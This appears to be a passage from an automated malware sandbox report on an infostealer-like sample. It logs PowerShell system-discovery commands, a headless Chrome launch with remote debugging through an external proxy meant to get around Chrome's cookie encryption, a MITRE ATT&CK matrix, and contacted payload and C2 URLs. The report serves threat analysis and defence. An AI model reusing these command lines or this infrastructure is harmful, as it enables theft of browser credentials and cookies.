Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber"

Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "(get-wmiobject -class win32_operatingsystem).caption + ' ' + (get-wmiobject -class win32_operatingsystem).version + ' ' + (get-wmiobject -class win32_operatingsystem).osarchitecture + ' ' + (get-wmiobject -class win32_operatingsystem).buildnumber"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "(get-wmiobject -class win32_operatingsystem).caption + ' ' + (get-wmiobject -class win32_operatingsystem).version + ' ' + (get-wmiobject -class win32_operatingsystem).osarchitecture + ' ' + (get-wmiobject -class win32_operatingsystem).buildnumber"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "(get-wmiobject -class win32_operatingsystem).caption + ' ' + (get-wmiobject -class win32_operatingsystem).version + ' ' + (get-wmiobject -class win32_operatingsystem).osarchitecture + ' ' + (get-wmiobject -class win32_operatingsystem).buildnumber"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "(get-wmiobject -class win32_operatingsystem).caption + ' ' + (get-wmiobject -class win32_operatingsystem).version + ' ' + (get-wmiobject -class win32_operatingsystem).osarchitecture + ' ' + (get-wmiobject -class win32_operatingsystem).buildnumber"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "(get-wmiobject -class win32_operatingsystem).caption + ' ' + (get-wmiobject -class win32_operatingsystem).version + ' ' + (get-wmiobject -class win32_operatingsystem).osarchitecture + ' ' + (get-wmiobject -class win32_operatingsystem).buildnumber"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "(get-wmiobject -class win32_operatingsystem).caption + ' ' + (get-wmiobject -class win32_operatingsystem).version + ' ' + (get-wmiobject -class win32_operatingsystem).osarchitecture + ' ' + (get-wmiobject -class win32_operatingsystem).buildnumber"	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "(get-wmiobject -class win32_operatingsystem).caption + ' ' + (get-wmiobject -class win32_operatingsystem).version + ' ' + (get-wmiobject -class win32_operatingsystem).osarchitecture + ' ' + (get-wmiobject -class win32_operatingsystem).buildnumber"
Source: C:\Windows\System32\notepad.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "(get-wmiobject -class win32_operatingsystem).caption + ' ' + (get-wmiobject -class win32_operatingsystem).version + ' ' + (get-wmiobject -class win32_operatingsystem).osarchitecture + ' ' + (get-wmiobject -class win32_operatingsystem).buildnumber"

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\cscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data"

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Windows Management Instrumentation	2 Scripting	1 DLL Side-Loading	1 Obfuscated Files or Information	11 Input Capture	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 DLL Side-Loading	1 Extra Window Memory Injection	1 DLL Side-Loading	LSASS Memory	32 System Information Discovery	Remote Desktop Protocol	11 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	711 Process Injection	1 Extra Window Memory Injection	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	11 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	41 Virtualization/Sandbox Evasion	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	711 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	4 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	1 Proxy	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0A7XTINw3R.exe	14%	Virustotal		Browse
0A7XTINw3R.exe	5%	ReversingLabs

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:37712	0%	Avira URL Cloud	safe
https://myaccount.google.comNavigating	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a1/b72322daf9643411de3678ba777cfbbf8fb602cd53962d142a5ca14ec0ba4c56.bin	0%	Avira URL Cloud	safe
https://go-rod.github.io/#/compatibility?id=os:	0%	Avira URL Cloud	safe
http://185.196.8.218:8080/health	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a1/65af90bd293a3ba613a791a39f8e4e3fa3ca523897fe948d6c889177d52f3071.bin	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a3/9d499c8606d15383034043de70ce6921f1182c4547063bffbabfb96e53507d80.bin	0%	Avira URL Cloud	safe
http://45.150.223.100:65140http://127.0.0.1:37712/json/versionhttp://127.0.0.1:37712/json/versionAPP	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a2/ccecba6ceb90df2d819dbfeb0d750338c3b656e35881f10492947a9b102b3a0d.bin	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a1/65af90bd293a3ba613a791a39f8e4e3fa3ca523897fe948d6c889177d52f3071.binht	0%	Avira URL Cloud	safe
http://185.196.8.218:8080/kernel32.dlladvapi32.dllGetUserProfileDirectoryWnetapi32.dlliphlpapi.dllLo	0%	Avira URL Cloud	safe
https://go-rod.github.io/#/compatibility?id=os	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a3/d0cc0b58f9707a4d945510f307cc399ec54f96fc9737654d1562b46b0315a905.bin	0%	Avira URL Cloud	safe
http://45.150.223.100:65140	0%	Avira URL Cloud	safe
https://myaccount.google.comhttps://myaccount.google.comredirected	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a3/d0cc0b58f9707a4d945510f307cc399ec54f96fc9737654d1562b46b0315a905.binde	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a1/b72322daf9643411de3678ba777cfbbf8fb602cd53962d142a5ca14ec0ba4c56.binht	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a2/82db253b2ed6b9665d2b1f02de9d73d0793f3c7c3669e9899de3e09d08e4df21.bin	0%	Avira URL Cloud	safe
http://127.0.0.1:37712http://127.0.0.1:37712http://127.0.0.1:37712u	0%	Avira URL Cloud	safe
http://127.0.0.1:37712http://127.0.0.1:37712ntdll.dllRtlGetNtVersionNumbershttp://127.0.0.1:37712COM	0%	Avira URL Cloud	safe
http://185.196.8.218:8080/	0%	Avira URL Cloud	safe
https://myaccount.google.comhttps://myaccount.google.com2024-12-27T03:09:57-05:00	0%	Avira URL Cloud	safe
http://185.196.8.218:8080/kernel32.dlladvapi32.dllIF	0%	Avira URL Cloud	safe
http://127.0.0.1:37712/json/version	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a3/d0cc0b58f9707a4d945510f307cc399ec54f96fc9737654d1562b46b0315a905.bin95	0%	Avira URL Cloud	safe
http://185.196.8.218:8080/device	0%	Avira URL Cloud	safe
http://185.196.8.218:56711/a2/ccecba6ceb90df2d819dbfeb0d750338c3b656e35881f10492947a9b102b3a0d.binht	0%	Avira URL Cloud	safe
http://127.0.0.1:37712Sec-Websocket-AcceptC	0%	Avira URL Cloud	safe
https://inet-ip.info/json	0%	Avira URL Cloud	safe
http://--headless--headless=new--user-data-dir--proxy-server127.0.0.1:37712127.0.0.1:37712127.0.0.1:	0%	Avira URL Cloud	safe
http://45.150.223.100:65140http://45.150.223.100:65140pxmYRaZcDfU9N7STHIO2gQ4JtKXyWVljpxmYRaZcDfU9N7	0%	Avira URL Cloud	safe
http://185.196.8.218:8080/client	0%	Avira URL Cloud	safe
https://inet-ip.info/jsonjson:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ipapi.co	104.26.8.44	true	false	high
inet-ip.info	157.7.208.157	true	true	unknown
webhook.site	178.63.67.153	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.196.8.218:8080/health	true	Avira URL Cloud: safe	unknown
https://webhook.site/publish-state-extractor	false		high
https://webhook.site/check-should-extract-cookies	false		high
http://185.196.8.218:56711/a1/b72322daf9643411de3678ba777cfbbf8fb602cd53962d142a5ca14ec0ba4c56.bin	true	Avira URL Cloud: safe	unknown
